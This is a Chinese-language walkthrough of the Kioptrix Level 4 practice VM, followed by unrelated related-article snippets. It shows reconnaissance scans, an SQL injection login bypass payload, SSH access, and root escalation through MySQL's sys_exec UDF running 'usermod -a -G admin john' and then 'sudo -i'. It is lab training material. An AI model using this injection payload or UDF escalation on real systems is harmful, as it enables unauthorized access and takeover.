Vulnhun靶機-kioptix level 4-sql注入萬能密碼拿到權限ssh連接利用mysql-udf漏洞提權

目錄

  • 一、環境搭建
  • 信息收集
    • 掃描ip
    • 掃描開放端口
    • 掃描版本服務信息
    • 指紋探測
    • 目錄掃描
  • 二、Web滲透
    • sql注入
  • 三、提權
    • UDF提權
    • 修改權限

一、環境搭建

然后選擇靶機所在文件夾

信息收集

本靶機ip和攻擊機ip

攻擊機:192.168.108.130
靶機:192.168.108.141  

掃描ip

靶機ip為:192.168.108.141

掃描開放端口

可用信息

22/tcp  open  ssh                
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

掃描版本服務信息

可用信息

//端口        //應用層協議     //詳細信息
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系統ubuntu
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

指紋探測

nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all 

可用信息:

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Samba smbd 3.0.28a

目錄掃描

dirsearch -u http://192.168.108.141 -e*
dirb http://192.168.108.141

可用信息:

http://192.168.108.141/images/                 //圖片
http://192.168.108.141/checklogin.php          //檢測登錄情況
http://192.168.108.141/database.sql            //數據庫文件
http://192.168.108.141/index.php               //主頁面                                                                                                                
http://192.168.108.141/john/                   //用戶john                                                                                                                      
http://192.168.108.141/logout                  //登出                                                                                                              
http://192.168.108.141/member                  //用戶個人空間                                                                                                              
http://192.168.108.141/server-status          //常見的用于監控和獲取 Web 服務器狀態的文件或頁面

二、Web滲透

訪問80端口,一個登錄框,嘗試弱口令無果

根據信息收集的東西,訪問database.sql頁面,有三個傳參點,id,username,password,以及一個可能是用戶名和密碼的消息

image-20250222175649475

嘗試后發現不對

sql注入

密碼處報錯,存在注入

利用萬能密碼嘗試

1' or true-- -  #'將sql語句注釋 or ture 添加永真條件 -- -:注釋掉后面的 SQL 代碼,防止其執行

登錄查看,發現這是member的頁面,查看源碼并未有什么有用消息

三、提權

拿到了賬號密碼就可以使用ssh連接,這里使用**-o HostKeyAlgorithms=+ssh-rsa**算法連接,因為靶機只支持該算法

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141

成功登錄之后發現讓我們輸入help或?,輸入看看,回顯了一部分命令,看來是我們只能使用這些命令進行操作,這里可能需要使用shell逃逸,即繞過安全限制

image-20250222182555966

可用命令如下

cd  clear  echo  exit  help  ll  lpath  ls

找找可用信息,可用看到我們是john用戶,有幾個可疑文件**.bash_history.bash_logout.lhistory**

查看當前SHELL變量,使用echo $SHELL

成功切換shell,查看當前進程,發現mysql是以root權限進行的

UDF提權

這里我們可用使用UDF提權

在 MySQL 中,UDF(User Defined Function,用戶定義函數)提權是一種利用用戶定義函數的漏洞或特性來提升權限的攻擊手段。攻擊者可以通過創建惡意的用戶定義函數來執行任意代碼,從而獲得更高的權限,甚至可能完全控制數據庫服務器

查找先前收集的php信息

find / -name *.php 2> /dev/null  #2> /dev/null的意思是將錯誤信息全部丟棄,/dev/null是一個特殊設備文件,任何寫入的設備都會被丟棄

查看一下登錄檢測頁面,發現mysql密碼為空,也是挺抽象

連接mysql,成功連接

查看數據庫和數據表,有一個可疑文件

看看該表

select * from 'func';

修改權限

發現一個sys_exec函數,sys_exec 函數是一個用戶定義函數(UDF),它允許執行系統命令并返回命令的輸出。這個函數并不是 MySQL 的內置函數,而是通過安裝特定的 UDF 擴展來實現的。

修改john為管理員

select sys_exec('usermod -a -G admin john');

看看參數的意思

  • usermod 是一個 Linux 命令,用于修改用戶賬戶的屬性。
  • -a 選項表示將用戶添加到指定的組,而不從其他組中刪除。
  • -G admin 指定要將用戶添加到的組,這里是 admin 組。
  • john 是要修改的用戶名。

exit退出mysql,輸入sudo -i即可拿到root權限

這里看看兩中切換管理員命令的區別

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/70637.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/70637.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/70637.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PHP 會話(Session)實現用戶登陸功能

Cookie是一種在客戶端和服務器之間傳遞數據的機制。它是由服務器發送給客戶端的小型文本文件,保存在客戶端的瀏覽器中。每當瀏覽器向同一服務器發送請求時,它會自動將相關的Cookie信息包含在請求中,以便服務器可以使用這些信息來提供個性化的…

PAT 甲級 1090 Highest Price in Supply Chain

構造一個二維數組 v &#xff0c;v[i] 存放指向 i 的所有元素。 構造隊列 q 存放每個待讀取的節點。 構造數組 high 存放每個節點的高度&#xff08;第幾級經銷商&#xff09; #include<iostream> #include<queue> #include<cmath> using namespace std; …

DeepSeek掘金——SpringBoot 調用 DeepSeek API 快速實現應用開發

Spring Boot 實現 DeepSeek API 調用 1. 項目依賴 在 pom.xml 中添加以下依賴: <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></dependency>&l…

算法——數學建模的十大常用算法

數學建模的十大常用算法在數學建模競賽和實際問題解決中起著至關重要的作用。以下是這些算法的具體信息、應用場景以及部分算法的C語言代碼示例&#xff08;由于篇幅限制&#xff0c;這里只給出部分算法的簡要代碼或思路&#xff0c;實際應用中可能需要根據具體問題進行調整和擴…

推薦幾款SpringBoot項目手腳架

作為程序員、一般需要搭建項目手腳架時、都會去Gitee或Github上去找、但是由于Github在國內并不穩定、所以就只能去Gitee去上查找。 不同語言檢索方式不一樣、但是也類似。 Gitee WEB應用開發 / 后臺管理框架 芋道源碼 ELADMIN 后臺管理系統 一個基于 Spring Boot 2.7.1…

智能自動化新紀元:AI與UiPath RPA的協同應用場景與技術實踐

智能自動化新紀元&#xff1a;AI與UiPath RPA的協同應用場景與技術實踐 引言 在數字化轉型的浪潮中&#xff0c;企業對于自動化技術的需求已從簡單的任務執行轉向更復雜的智能決策。傳統RPA&#xff08;Robotic Process Automation&#xff09;通過模擬人類操作處理重復性任務…

數據結構:動態數組vector

vector 是 C 標準庫的動態數組。 在C語言中一般初學者會使用malloc&#xff0c;int[n]等方式來創建靜態數組&#xff0c;但是這種方式繁瑣且容易出錯。我們做算法題一般使用動態數組vector&#xff0c; 并且在刷題網站的題目給的輸入一般也是vector類型。 示例&#xff1a;vect…

基于深度學習的信號濾波:創新技術與應用挑戰

一、引言 1.1 研究背景 隨著科技的不斷發展&#xff0c;信號處理領域面臨著越來越復雜的挑戰。在眾多信號處理技術中&#xff0c;基于深度學習的信號濾波技術逐漸嶄露頭角&#xff0c;成為研究的熱點。 基于深度學習的信號濾波在信號處理領域具有至關重要的地位。如今&#…

前端八股——JS+ES6

前端八股&#xff1a;JSES6 說明&#xff1a;個人總結&#xff0c;用于個人復習回顧&#xff0c;將持續改正創作&#xff0c;已在語雀公開&#xff0c;歡迎評論改正。

醫院安全(不良)事件上報系統源碼,基于Laravel8開發,依托其優雅的語法與強大的擴展能力

醫院安全&#xff08;不良&#xff09;事件上報系統源碼 系統定義&#xff1a; 規范醫院安全&#xff08;不良&#xff09;事件的主動報告&#xff0c;增強風險防范意識&#xff0c;及時發現醫院不良事件和安全隱患&#xff0c;將獲取的醫院安全信息進行分析反饋&#xff0c;…

H3C交換機路由器防火墻FTP/TFTP服務器搭建。

軟件介紹。 3CDaemon 2.0 - Download 3CDaemon 是一款集成了多種網絡服務功能的工具軟件&#xff0c;主要用于網絡管理和文件傳輸&#xff0c;支持TFTP、FTP、Syslog等多種協議&#xff0c;廣泛應用于網絡設備的配置和管理。 1. 主要功能 TFTP服務器&#xff1a;支持TFTP協議…

數據庫連接管理--Java連接數據庫的幾種方式

1.數據庫連接管理 1.1 使用JDBC獲取連接 JDBC是Java標準庫提供的API&#xff0c;用于連接和操作關系型數據庫。它是最基礎、最常用的數據庫連接方式。 步驟&#xff1a; 加載數據庫驅動。建立連接。創建Statement或PreparedStatement對象。執行SQL查詢或更新。處理結果集。關…

如何使用Spring boot框架實現圖書管理系統

使用 Spring Boot 框架實現圖書管理系統可以按照以下步驟進行&#xff0c;涵蓋了從項目搭建、數據庫設計、后端接口開發到前端頁面展示的整個流程。 1. 項目搭建 可以使用 Spring Initializr&#xff08;https://start.spring.io/ &#xff09;來快速創建一個 Spring Boot 項目…

【網絡安全 | 漏洞挖掘】賬戶接管+PII+原漏洞繞過

文章目錄 前言正文前言 本文涉及的所有漏洞測試共耗時約三周,成果如下: 訪問管理面板,成功接管目標列出的3000多家公司。 獲取所有員工的真實指紋、機密文件及個人身份信息(PII)。 繞過KYC認證,成功接管電話號碼。 繞過此前發現的漏洞。 正文 在測試目標時,我發現了一…

深度學習學習筆記(34周)

目錄 摘要 Abstracts 簡介 Hourglass Module&#xff08;Hourglass 模塊&#xff09; 網絡結構 Intermediate Supervision&#xff08;中間監督&#xff09; 訓練過程細節 評測結果 摘要 本周閱讀了《Stacked Hourglass Networks for Human Pose Estimation》&#xf…

JVM類文件結構深度解析:跨平臺基石與字節碼探秘

目錄 一、類文件&#xff1a;Java生態的通用語言 1.1 字節碼的橋梁作用 1.2 類文件核心優勢 二、類文件二進制結構剖析 2.1 整體結構布局 2.2 魔數與版本控制 2.3 常量池&#xff1a;類文件的資源倉庫 2.4 訪問標志位解析 三、核心數據結構詳解 3.1 方法表結構 3.2 …

wps中zotero插件消失,解決每次都需要重新開問題

參考 查看zotero目錄 D:\zotero\integration\word-for-windows 加載項點擊 dotm即可 長期解決 把dom 復制到 C:\Users\89735\AppData\Roaming\kingsoft\office6\templates\wps\zh_CN還是每次都需要重新開的話 重新加載一下

如何設計合理的樹狀結構表:平衡查詢效率與維護效率

樹狀結構廣泛應用于數據建模中&#xff0c;例如 商品分類、組織架構、權限管理 等場景。合理設計樹形結構的數據庫表&#xff0c;能夠有效提升 查詢效率 和 維護效率。本文將探討如何在設計時平衡這兩者&#xff0c;詳細介紹常用的幾種樹狀結構存儲方式及其適用場景。 一、樹狀…

List 接口中的 sort 和 forEach 方法

List 接口中的 sort 和 forEach 方法是 Java 8 引入的兩個非常實用的函數&#xff0c;分別用于 排序 和 遍歷 列表中的元素。以下是它們的詳細介紹和用法&#xff1a; sort 函數 功能 對列表中的元素進行排序。 默認使用自然順序&#xff08;如數字從小到大&#xff0c;字符…

深度學習驅動的車牌識別:技術演進與未來挑戰

一、引言 1.1 研究背景 在當今社會&#xff0c;智能交通系統的發展日益重要&#xff0c;而車牌識別作為其關鍵組成部分&#xff0c;發揮著至關重要的作用。車牌識別技術廣泛應用于交通管理、停車場管理、安防監控等領域。在交通管理中&#xff0c;它可以用于車輛識別、交通違…